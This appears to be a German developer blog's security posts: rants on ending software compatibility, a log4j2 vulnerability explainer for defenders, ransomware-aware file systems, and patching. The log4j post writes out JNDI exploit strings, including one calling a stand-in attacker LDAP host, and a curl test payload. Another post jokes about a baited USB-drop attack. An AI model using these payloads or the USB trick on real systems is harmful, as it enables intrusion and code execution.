Kategorie: Sicherheit

Allgemeine Beschimpfung endender Kompatibilität

Am 24. Oktober beendet Whatsapp die Unterstützung für Geräte mit Android-Versionen unter 5. Wer ein Smartphone besitzt, für das es keine neuere Android-Version als 4 Punkt irgendwas gibt, steht vor der Wahl, das Gerät wegzuschmeißen und ein neues zu kaufen, oder alle seine Freunde zu verlieren.

Whatsapp begründet den Schritt mit fehlenden Sicherheitsupdates für die alten Versionen, fehlender Unterstützung für App-Features (hier würden mich mal die Details interessieren) und weil kaum noch jemand solche alten Geräte verwendet.

Im Mülleimer ist noch Platz!

Natürlich verwenden nur noch 0,00000irgendwas Prozent aller Android-Nutzer so alte Geräte, aber in absoluten Zahlen dürften das trotzdem nicht wenige sein. Ein zwar altes, aber grundsätzlich noch funktionierendes Gerät muss also auf den Elektromüll geschmissen werden, weil die Whatsapp-Entwickler keine Lust mehr haben, die App-Unterstützung für Android 4 weiter zu gewährleisten, sprich: sich mit alten Bibliotheken oder Sicherheitslücken herumzuschlagen. Irgendwo verständlich, klar.

Denn die Ursache des Übels liegt natürlich nicht bei den Entwicklern von Whatsapp, sondern bei denen von Android.

Wie selbstverständlich muss jedes Jahr eine tolle neue better-than-ever Android-Version auf den Markt kommen! Und um zu kaschieren, dass diese für die meisten Nutzer eigentlich keine nennenswerten Verbesserungen bringt, ändert man immer wieder das Design und behauptet, dass die Version noch sicherer ist als die vorherige. Was ja auch stimmt.

Bloß: Es spräche ja nichts dagegen, die Sicherheitsprobleme der vorherigen Version einfach durch Updates zu beseitigen. Bei LTS-Versionen von Linux-Betriebssystemen funktioniert das ja auch schon viele Jahre lang (und Android ist ein Linux). Würde man effizienter, modularer programmieren (und keine Bloatware installieren), wäre auch auf älteren Geräten mit wenig Speicher noch genug Platz für alles. Sicherheitspatches erfordern wohl kaum Megabyteweise neuen Binärcode!

Hach, sie können ja nicht anders

Da bekanntermaßen Hardware-Hersteller überhaupt kein Interesse daran haben, ihren Kunden zu ermöglichen, ältere Geräte länger zu nutzen, verschwenden die natürlich keine Entwicklerressourcen an solche Upgrades. Lieber springen sie auf den Google-Zug auf und bringen jedes Jahr eine neue Geräte-Generation, die eine noch tolle Kamera hat, ein noch größeres Display, ein noch hübscheres Notch oder das man in den Pool mitnehmen oder falten kann, denn das ist es ja, was wir Menschen unbedingt brauchen. Inzwischen gibt es auf diesem Planeten grob geschätzt 14 Milliarden Smartphones, jeder erwachsene Mensch besitzt also längst weit mehr als zwei (plus Tablets). Mehr als die Hälfte ist also überflüssig.

Letztlich reden wir hier von einer Ressourcenverschwendung, die das Gegenteil von nachhaltig ist und einen Material- und Energieverbrauch mit sich bringt, der in einer Welt, die vor dem Klimakollaps steht, verboten gehört. Aber die Anbieter haben ja keine Alternative: Wenn sie keine neuen Betriebssysteme oder Geräte verkaufen können, entfallen schlicht die Einnahmen und sie müssen den Laden dicht machen. Helfen könnte bei Betriebssystemen ein Abo-Modell. Gibt’s ja in anderen Branchen auch. Neue, noch leistungsfähigere Hardware ist unnötiger Fortschritt auf Kosten des Planeten. Das ist krank.

Nur ein paar Beispiele

Bei Apple ist es übrigens nur ein bisschen besser. Für mein 11 Jahre altes, aber noch tadellos funktionierendes MacBook Air, gibt es kein aktuelles MacOS X mehr, und das anstehende Update für den Chrome-Browser installiert sich nicht unter dem alten OS. Folglich bin ich fürderhin gezwungen, einen veralteten Browser zu verwenden, mir einen anderen zu suchen oder das Gerät zu ersetzen.

Noch mehr Beispiele? Ein kleines noch aus eigener Erfahrung: Beim letzten größeren Linux-Kernel-Upgrade musste ich meinen tadellos funktionierenden, nur wenige Jahre alten WLAN-Stick ersetzen, weil der Treiber für den enthaltenen Chip aus dem Kernel entfernt worden war. Wer trifft eigentlich solche rücksichtslosen Entscheidungen, die letztlich beim Endkunden Kosten und Elektromüll verursachen?! Wer trägt die Verantwortung, wem kann ich die Rechnung schicken, wem das Altgerät zwecks umweltgerechter Entsorgung?

Der Gipfel der Ressourcenverschwendung und des Hardware-Wegwerf-Wahns ist übrigens gar nicht Android, sondern Windows. Version 11 kann bekanntlich (normalerweise) nur auf Rechnern mit einem spezifischen Hardwaremodul installiert werden. Sobald also der Support für Windows 10 endet (14. Oktober 2025), müssen alle PCs ohne dieses Modul sicherheitshalber weggeschmissen werden, weil es keine Lücken-Updates mehr gibt (und Windows 10 ist voller Lücken, ach übrigens: Mit Linux kann man solche PCs noch lange weiter betreiben!). Wie viele Geräte da auf den Schrott wandern werden (oder willkommene Opfer für Verschlüsselungstrojaner werden), wage ich nicht zu schätzen.

EDIT: Inzwischen sind zwei weitere prominente Fälle aus dem Android-Bereich bekannt geworden: Die ZDF Mediathek und Youtube laufen nicht mehr unter Android 5. Immerhin verweisen beide Apps auf “Im Browser öffnen”. Was ein bisschen lächerlich ist, denn der läuft ja auch auf dem Gerät, warum dann nicht die Apps, die ja einfach in einem Chrome Webview laufen könnten?!

Diese Funktion ist @Deprecated, weil ich den Namen nicht mehr cool fand

Nicht unerwähnt bleiben soll der Aufwand, den uns als Entwickler jeder endende Software-Upgrade-Pfad aufzwingt. Jede Anwendung verwendet ja irgendwelche Bibliotheken, die ihrerseits gewisse Systemanforderungen haben. Schlicht ausgedrückt: Sobald eine neue Version von ir-gend-was.jar eine Änderung an unserem Code oder gar an den Systemvoraussetzungen unserer Anwendung ändert, müssen wir zwingend aktiv werden – aber niemand bezahlt diesen Aufwand! Diese Kosten – Zeit, Personal, Energie – müssen in unser Produkt von vornherein eingepreist werden, obwohl sie gar nicht seriös kalkuliert werden können, weil sie nicht einmalig anfallen wie der Kaufpreis, sondern laufend.

Und solche Anpassungen müssen wir dauernd machen: Nicht nur bei Android-Apps, wenn Google z.B. verlangt, dass wir die Billing-Library Version 5 für In-App-Käufe verwenden müssen, ansonsten dürfen wir unsere App nicht mehr updaten. Natürlich hat sich die API geändert, also müssen wir Dokus lesen und Codeanpassungen vornehmen, meist ohne dass unsere App dadurch auch nur einen Euro mehr Einnahmen erzeugt. Unverschämtheit!

Oder man denke an PHP-Skripts, die nicht mehr funktionieren, weil der Zugriff auf unbekannte Array-Keys seit PHP 8 standardmäßig eine Warnung statt eine Notice auswirft. Noch schlimmer waren nur die grundlegenden Änderungen am MySQL-Treiber, der alle vorherigen Funktionsnamen änderte. Welche Aufwände das weltweit verursacht hat, und wie viele PHP-Skripte seitdem einfach nicht mehr funktionieren, weil sich niemand darum kümmert, kann niemand schätzen. Nichts gegen Produktpflege, Refactoring, Bugfixing oder von mir aus Verschönerung einer API. Aber wenn man weiß, dass andere Entwickler davon abhängig sind, und eine abwärtsinkompatible Änderung Aufwände verursacht, die man selbst ja nicht hat und deshalb ein Problem anderer Leute sind, dann ist man schlicht ein rücksichtsloser Energieverschwender. Ach übrigens: Wenn man von vornherein seine Software sauber konzipiert, braucht man hinterher weniger zu ändern! Buchempfehlung siehe rechts. Und ansonsten hat man gefälligst die Bedürfnisse des Rests der Welt über die eigenen zu stellen.

Ich verlange daher zeitlich unbegrenzten Update-Support für alle Betriebssysteme wie Linux, Android, Windows, MacOS sowie für alle Open-Source-Software-Bibliotheken und -Plattformen. Neue Features können jederzeit hinzugefügt werden (bitte modular, so dass sie nur dann automatisch nachgeladen werden, wenn gewünscht bzw. wenn der Hardware-Support vorhanden ist), aber niemals dürfen vorhandene Funktionen entfernt oder geändert werden. Tatsächlich hat diese Herangehensweise einen immensen Vorteil: Es muss nur noch eine Software-Version gepflegt und mit Sicherheitsupdates versorgt werden, nämlich die aktuelle. Weniger Stress = mehr Zeit für besseres Coden!

tl;dr: Be smart, stay compatible.

Was Entwickler jetzt über die log4j2-Schwachstelle wissen müssen [CVE-2021-44228]

Die Schwachstelle CVE-2021-44228(Apache Log4j Remote Code Execution im beliebten Java-Logging-Framework log4j2 füllt seit dem 10. Dezember die Kommentarspalten und bringt Admins um ihren wohlverdienten Schlaf. Entdeckt wurde es übrigens zuerst auf anfälligen Minecraft-Servern. Dieses Posting erklärt die Schwachstelle für Entwickler einmal in aller Ruhe auf Deutsch – und gibt ein paar Handlungsempfehlungen.

Die Schwachstelle

log4j2 hat ein Feature namens Lookups. Unwahrscheinlich, dass das jemand meiner Leser bereits je verwendet hat, deshalb erkläre ich es nur extrem kurz: Man kann damit Daten aus einer externen Quelle abrufen und mit loggen. Dazu muss ein Makro wie ${…} geloggt werden (oder im Logging-Pattern stehen). Die Schwachstelle besteht nun darin, dass auch ein Lookup (Nachladen) einer Klasse über JNDI möglich ist, und das auch auf einem beliebigen LDAP-Server, etwa so:

"${jndi:ldap://horrible-ldap-server.whatever.com:1389/a}"

Hierüber kann der Anwendung beliebiger Java-Code untergejubelt werden, der vom LDAP-Server des Angreifers geladen und (wenn er im static{…}-Bereich der Klasse steht) beim Loggen geladen und ausgeführt wird. Zum Beispiel ein Kryptominer, was noch einer der harmloseren vorstellbaren Fälle ist. Der Code kann aber auch einen Remote-Login öffnen oder alle Daten abgreifen, die für den User, mit dessen Rechten Ihre Anwendung läuft, erreichbar sind. Aua.

Unter Android funktioniert das Feature nicht, allerdings sind auf einem Smartphone Angriffsmöglichkeiten ohnehin schwer vorstellbar. Ähnliches gilt für Kommandozeilen- oder Desktop-Anwendungen: Solange kein Angreifer in irgendeiner Form darauf zugreifen kann, kann er die Maschine auch nicht kompromittieren, auf der das Programm läuft.

Gefährdet sind also Webanwendungen mit von außen zugänglichen Schnittstellen.

Davon gibt es freilich beliebig viele im Netz. Sind Sie für eine zuständig? Dann lesen Sie weiter!

Da eingeschleuste Kryptominer der einfachste und einträglichste Fall eines Angriffsszenarios sind, können wir schlussfolgern, dass die Last in betroffenen Rechenzentren steigen wird, also auch der CO2-Ausstoß. Soweit kein Ökostrom verbraucht wird, bereichern sich die Angreifer also persönlich auf Kosten weiterer Klimaerwärmung. Jeglicher Hass ist da berechtigt. Hilft aber nicht. Also weiter im Text:

Typische Fälle

Da ein Angreifer schwerlich den bösartigen String nach obigem Beispiel höchstpersönlich in unsere log4j-Konfigurationsdatei schreiben kann, muss er versuchen, unsere Anwendung dazu zu bringen, den String zu loggen.

Angenommen, wir haben eine Webanwendung mit einem Login-Formular, das per HTTP POST den eingegebenen Usernamen und das Passwort an eine Funktion übermittelt, dann dürfte gar nicht mal so selten folgendes im Code stehen:

logger.info("Login-Versuch mit username {}", username);

Sobald der Angreifer nun einen POST-Request abwirft, in dem der böse String als username steht, wird dieser an Log4j2 übergeben und das üble Geschehen beginnt. Dabei ist es leider egal, ob Sie die oben gezeigte (und richtige) Methode mit dem {}-Platzhalter verwenden oder ein simples +-Zeichen.

Der Fehler passiert in allen drei folgenden Fällen:

String username="${jndi:ldap://127.0.0.1:1389/Exploit}";
logger.error("Login-Versuch mit username {}", username);
logger.error("Login-Versuch mit username " + username);
logger.error(username);

Allerdings hängt das Verhalten vom Log-Level ab: Wenn das konfigurierte Log-Level höher eingestellt ist als das im Code verwendete, wird überhaupt nichts geloggt und auch die schädliche JNDI-Auflösung entfällt. Sie müssen also nur auf Logging achten, das auf Ihrer Produktiv-Instanz aktiv ist, und das sind hoffentlich nur INFO und höher, nicht die ganzen TRACE und DEBUG, mit denen Ihr Code im Entwicklermodus gesprächig gemacht wurde.

Wenn Sie den Exploit selbst nachvollziehen wollen, schauen Sie sich den Proof of Concept bei Github an. Dieser startet einen einfachen HTTP-Server (mittels Python), der die “bösartige” Klasse Exploit.class als Binärdaten ausliefert und einen simulierten Ldap-Server, der auf localhost:8888 horcht (mittels dieses Pentesting-Tools). Wenn Log4j2 den LDAP-Server erreichen kann, wird der ${…}-String durch etwas anderes ersetzt, was Sie dann im Log sehen können, wenn die Anwendung angreifbar ist. Standardmäßig versucht die Klasse Exploit übrigens, einen Taschenrechner zu starten, aber es ist nur eine Fallunterscheidung Windows/Mac enthalten, auf einem Linux-System passiert also rein gar nichts. Sie können natürlich ein eigenes Test-Executable einsetzen, oder irgendein eigenes Logging ausführen, damit nicht dauernd neue Taschenrechnerfenster erscheinen. Nötig ist das nicht, weil Sie die Anfälligkeit auch anhand der Log-Ausgabe erkennen können:

10:01:11.355 [main] ERROR de.bessercoden.demos.Log4jExploitDemo - Reference Class Name: foo

Fragen Sie mich nicht, woher dieser Text stammt, das habe ich nicht weiter erforscht – entscheidend ist, dass bei vorhandener Vulnerability nicht ${jndi:ldap://127.0.0.1:1389/Exploit} erscheint, sondern eben etwas anderes.

Rufen Sie Ihren eigenen Webservice mit curl und einem “giftigen” Parameter auf, um zu schauen, was im Logfile erscheint. Um das zu tun, erzeugen Sie eine Datei testpayload mit folgendem Inhalt:

key=${jndi%3aldap%3a//127.0.0.1%3a1389/Exploit}

Die Doppelpunkte müssen hier escaped werden. Der zu testende Webservice-Parameter wäre hier key. Dann verwenden Sie: curl -d @testpayload “http://ihr-webservice/endpoint”

Beobachten Sie das Logfile.

Falls Sie HTTP-Header loggen, denken Sie daran, dass auch diese manipuliert sein können, nicht nur Parameter.

Was tun?

Als Entwickler sollten Sie zunächst prüfen, ob Ihre Anwendung log4j2 überhaupt verwendet. Schauen Sie dazu zunächst in die effektiven Abhängigkeiten Ihres Projekts (mvn dependency:tree | grep log4j). Natürlich kann es sein, dass eine Drittkomponente diese Abhängigkeit mitbringt. Beispielsweise tun das Springboot-Projekte nicht, wenn sie auf dem Parent springboot-starter-web basieren, diese Projekte verwenden log4j Version 1, die nicht betroffen ist (und slf4j, aber das ist egal).

Wenn Sie selbst explizit log4j2 verwenden, haben Sie vermutlich eine Dependency explizit deklariert, meist etwa so:

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.14.1</version>
</dependency>

Ändern Sie einfach die Versionsnummer in 2.15.0 und starten Sie einen clean build und testen Sie erneut.

Bäh, Featuritis!

Kleiner Abschlussrant. Ursache für den #epicfail ist in meinen Augen “Featuritis”: der naive Antrieb vieler Entwickler, dauernd neuen Kram in eine eigentlich fertige Software einzubauen, den fast niemand braucht – der aber standardmäßig eingeschaltet ist. Man muss noch nicht einmal auf die (eigentlich naheliegende) Idee kommen, dass ein Angreifer ein Feature wie “irgendeine Klasse per LDAP laden” auf fatale Weise ausnutzen könnte. Features, die voraussichtlich 99% der Nutzer (hier: Entwickler) nie brauchen, gehören in Erweiterungsmodule, nicht in den Basiscode. Die Regel dahinter ist KISS: Keep it simple, stupid!: Nur wirklich benötigte Daten (hier: Code) sollten sich in einem Projekt befinden, damit es schlank, schnell und in diesem Fall eben auch unanfällig für Angriffe ist.

Viel Erfolg bei der Bekämpfung der Angreifer!

Müssen Betriebssysteme schlauer werden, um uns vor bösen Menschen zu schützen?

Angenommen, Sie wären ein Betriebssystem (oder ein Teil davon, vielleicht das Dateisystem). Sie wären dafür zuständig, auf Befehle wie fopen (Datei öffnen), fwrite (in eine Datei schreiben) oder fdelete (eine Datei löschen) zu reagieren.

Nun haben Sie gerade die halbe Nacht bloß immer Anweisungen bekommen, immer dieselben Infos (“checking for mail … no new mail.”) in in irgendeine Log-Datei zu schreiben. Sie schlafen schon fast ein vor Langeweile, da kommen mit einem Mal zig Anweisungen in kurzer Folge hintereinander: Jemand lässt sich erst den ganzen Verzeichnisbaum ermitteln, um dann jede Datei darin einmal komplett zu lesen und durch scheinbar zufällige Bytes zu ersetzen.

Wenn Sie ein halbwegs wacher und informierter Mensch wären, würden sie diesem Treiben Einhalt gebieten und sagen: “Mooooment! Das sieht mir nicht aus wie eine übliche, absichtliche Aktion meines Nutzers vor dem Bildschirm (der schläft normalerweise um diese Zeit), sondern eher … wie eine Ransomware-Attacke!”

So geschehen kürzlich bei einem Dienstleister einer schwedischen Supermarkt-Kette, die daraufhin ihre Filialen schließen musste. Was das kostet!

Natürlich sagen Sie sich jetzt: Wer hat denn da wieder eine Sicherheitslücke verbrochen? Aber, wie gesagt, wenn Sie schlau genug sind: Sie verweigern den Dienst. Sicherheitshalber. Sie verlangen die erneute Eingabe des User-Passworts (oder eine Zwei-Faktor-Authentifizierung).

Was ich hier vor mich hin fantasiere, ist kein neues Konzept: Ein Forschungsprojekt namens ShieldFS gibt es schon seit Jahren, scheint aber eingeschlafen zu sein. Dabei wäre es wichtiger denn je, dergleichen auf die Tagesordnung zu setzen, denn die Ransomware-Attacken werden immer schlimmer und ganz sicher nicht aufhören, wenn die Täter erstmal genug Lösegeld kassiert haben, um sich eine eigene Insel zu kaufen. Wenn man kein Gegentor kriegen will, muss die Verteidigung eben besonders tief stehen – eine Fünferkette und ein guter Torwart, direkt im Dateisystem.

Natürlich kann man einwenden: Wer von Ransomware betroffen ist, ist eh selbst schuld, weil er anfällige Systeme mit ungepatchten Sicherheitslücken verwendet. Derjenige wird auch nicht so schlau sein, ein besseres Dateisystem zu verwenden. Ja, mag sein: Aber wäre ein solches Dateisystem Standard, wäre also Sicherheit wichtiger als … sagen wir Bequemlichkeit, wäre das ein Schritt in die richtige Richtung.

Von Kleinkindern lernen

Wie Medien berichteten, hat am Sonntag ein Kleinkind einen Twitter-Beitrag im Account der US-Atomwaffenbehörde verfasst:

»;l;;gmlxzssaw« – Rätselhafter Code? Verborgene Botschaft? Die Auflösung kam schnell

Bemerkenswert daran ist natürlich nicht, dass man genau erkennt, welche Buchstaben mit der rechten (die bis gml) und welche mit der linken sehr kleinen (das z liegt auf amerikanischen Tastaturen links neben dem x) Hand (der Rest) verfasst wurden.

Bemerkenswert daran finde ich auch nicht, dass der für den Account zuständige Social-Media-Manager es nicht für nötig hielt, während seiner kurzen Abwesenheit (vermutlich musste er aufs Klo) seinen PC zu sperren, auf dem die Twitter-Webseite zum Verfassen eines Tweets gerade geöffnet war.

Denn dass der Mensch der Schwachpunkt jeder IT-Sicherheits-Infrastruktur ist, wissen wir ja schon, nicht wahr? Man muss ja nur “versehentlich” einen präparierten USB-Stick mit der Aufschrift “Pornos” vor einer Firma verlieren, schon erhält man (nach kurzer Wartezeit freilich) bequem Zugriff auf alle Systeme (auf die der glückliche Finder Zugriff hat). Tipp, falls Sie es ausprobieren wollen: Tun Sie wirklich ein paar Pornos auf den Stick, dann schöpft das Opfer nicht so schnell Verdacht.

Bemerkenswert finde ich aber, dass der Tweet zwar nach ein paar Minuten gelöscht wurde – in der Zeit aber, wie man auf dem Bild sieht, fast 5000 mal geliked und halb so oft retweetet wurde. Wohlgemerkt: “Normale” Tweets des gleichen Accounts, meist mit fast sinnlich fotografierten Kampfflugzeigen drauf, bringen es gerade mal auf etwas über 100 Likes und 30 oder 50 Retweets – aber nicht innerhalb weniger Minuten, sondern Tagen.

Das ist ein Symptom, welches auf ein grundlegendes Problem der (a)sozialen Medien hinweist: Quatsch verbreitet sich bisweilen millionenfach schneller und weiter als alles andere. Das ist aber das genaue Gegenteil des Bedarfs: Wichtige (und möglichst akkurate) Informationen sollten sich schneller und besser verbreiten als anderen. Dieses wünschenswerte Verhalten bilden die Mechanismen der sozialen Netzwerke schlicht nicht ab. Deshalb sind sie ein Problem.

tl;dr: Das Beispiel der tausendfach retweeteten IT-Attacke eines Kleinkinds zeigt: Der “soziale” Kaskadier-Mechanismus von Twitter&Co begünstigt die Ausbreitung von Unsinn.

Prohibition für Saugrobby!

Was muss ich da lesen? Besoffene Saugroboter?

Jetzt mal unabhängig von der Frage, ob es schlimm oder lustig ist, wenn Saugrobby wie ein verwirrter Hamster immer im Kreis fährt oder länger als sonst zum Reinigen der Wohnung braucht: Kann ja mal passieren, dass beim Abschlusstest eines Updates irgendwas übersehen wird, nicht wahr?

Ich will auch gar nicht über schlechte Testbarkeit meckern oder spekulieren, wie hoch die technische Schuld der womöglich nicht tip-top sauberen Software der betroffenen Roombas des Herstellers iRobot ist (dear iRobot, if you need help here, drop me a message!). Aber der Anlass ist willkommen für die regelmäßige Erinnung an die inhärente Fehlerfortpflanzung bei Software:

Menschen machen nunmal Fehler, das ist menschlich. Unterläuft beispielsweise einem Frisör ein Fehler, rennt hinterher ein Kunde mit doofen Haaren herum. Unterläuft einem Programmierer ein Fehler, so sind viel, viel mehr, schlimmstenfalls Millionen Nutzer betroffen, nämlich alle, die diese Software verwenden oder den fraglichen Code bei einer Sitzung auf einer Cloud-Instanz durchlaufen, falls es sich um eine Webanwendung handelt.

Während der Frisör deshalb mit einem minimalen Korrektiv auskommt (z.B. dem Kunden den Spiegel hinter den Kopf halten und fragen, ob’s gefällt), muss die Software deutlich höhere Hürden überwinden, um in die freie Wildbahn entlassen zu werden. Da ist zunächst mal die Suite von Unit Tests (Sie haben doch Unit-Tests, oder?), Integrationstests auf einer Testumgebung und die Abnahme auf einer Staging-Umgebung bzw. weitere Ende-zu-Ende-Tests, sei es automatisiert oder manuell. Im Idealfall jedenfalls. Eine Testabdeckung von 100% aller Fälle ist jedoch utopisch. Das gilt umso mehr, wenn Endgeräte im Spiel sind, die über individuelle Daten verfügen (z.B. Aufzeichnungen über die Geometrie zu saugender Räume). Die kann man nicht alle testen. Geht nicht.

Also sind halt bisweilen ein paar Staubsauger-Bots besoffen.

Software wird von Menschen geschrieben, die nicht perfekt sind. Folglich kann auch das Produkt nicht perfekt sein. Deshalb wird Software immer ein Restrisiko mit sich bringen. Es mag bei guten Programmierern (die mein Buch gelesen haben) klein sein, aber nie Null. Wer von Software Wunder erwartet, übersieht den menschlichen Faktor. Wer den menschlichen Faktor übersieht, kalkuliert Kosten für Fehlerbehebung oder Wartung nicht hinreichend in die Wirtschaftlichkeitsanalyse ein – und gelang möglicherweise zu einem Ergebnis größer als Null und ist später überrascht, wenn er draufzahlt.

Disclaimer: Nein, dies ist keine pauschale Entschuldigung für Bugs. Schon gar nicht für solche, die durch guten Code und sauberes Testen vermeidbar gewesen wären. Es ist der ausdrückliche Wunsch nach realistischen Einschätzungen.

Wer die Anfälligkeit von Software mit einrechnet, kommt nämlich auch nicht auf so drollige Ideen wie z.B. autonome Drohnen mit tödlichen Waffen oder diskriminierende Algorithmen für die Sichtung von Bewerbungsunterlagen, Anwendungen also, die ein bisschen weniger witzig sind als besoffene Roboter.

tl;dr: Vermeiden Sie Fehler – aber tun Sie nicht so, als gäbe es keine.

Haben Sie auch Hacker in die Teeküche eingeladen?

Wichtige Mitteilung! Bitte auf keinen Fall kritische Sicherheitslücken in Exchange-Servern entfernen!

Sonst hab ich nix mehr, über das ich mich lustig machen kann.

Liebe Admins. Corona hin oder her: Kritische Sicherheitslücken, für die seit Februar Patches bereitstehen, und die einem Angreifer ermöglichen, Ihr System zu übernehmen, also quasi eine Einladung in die Teeküche Ihrer Firma – wo Sie sicher auch diverse Rechner ohne Passwortschutz herumstehen haben, nicht wahr? So sieht’s aus. Kommt, liebe Hacker, wir haben nix zu verbergen, wir brauchen unsere Daten nicht, verschlüsselt sie ruhig, unsere Vorstände zahlen auch gerne das Lösegeld, das ist immer noch billiger als Leute einzustellen, die sich ordentlich um die IT-Sicherheit kümmern.

Ach, und übrigens soll es auch Mail-Systeme geben, die ganz grundsätzlich weniger anfällig sind als jene von Microsoft. Und nix kosten. Open Source nennt man das, klingelt’s?

Weitere Infos beim BSI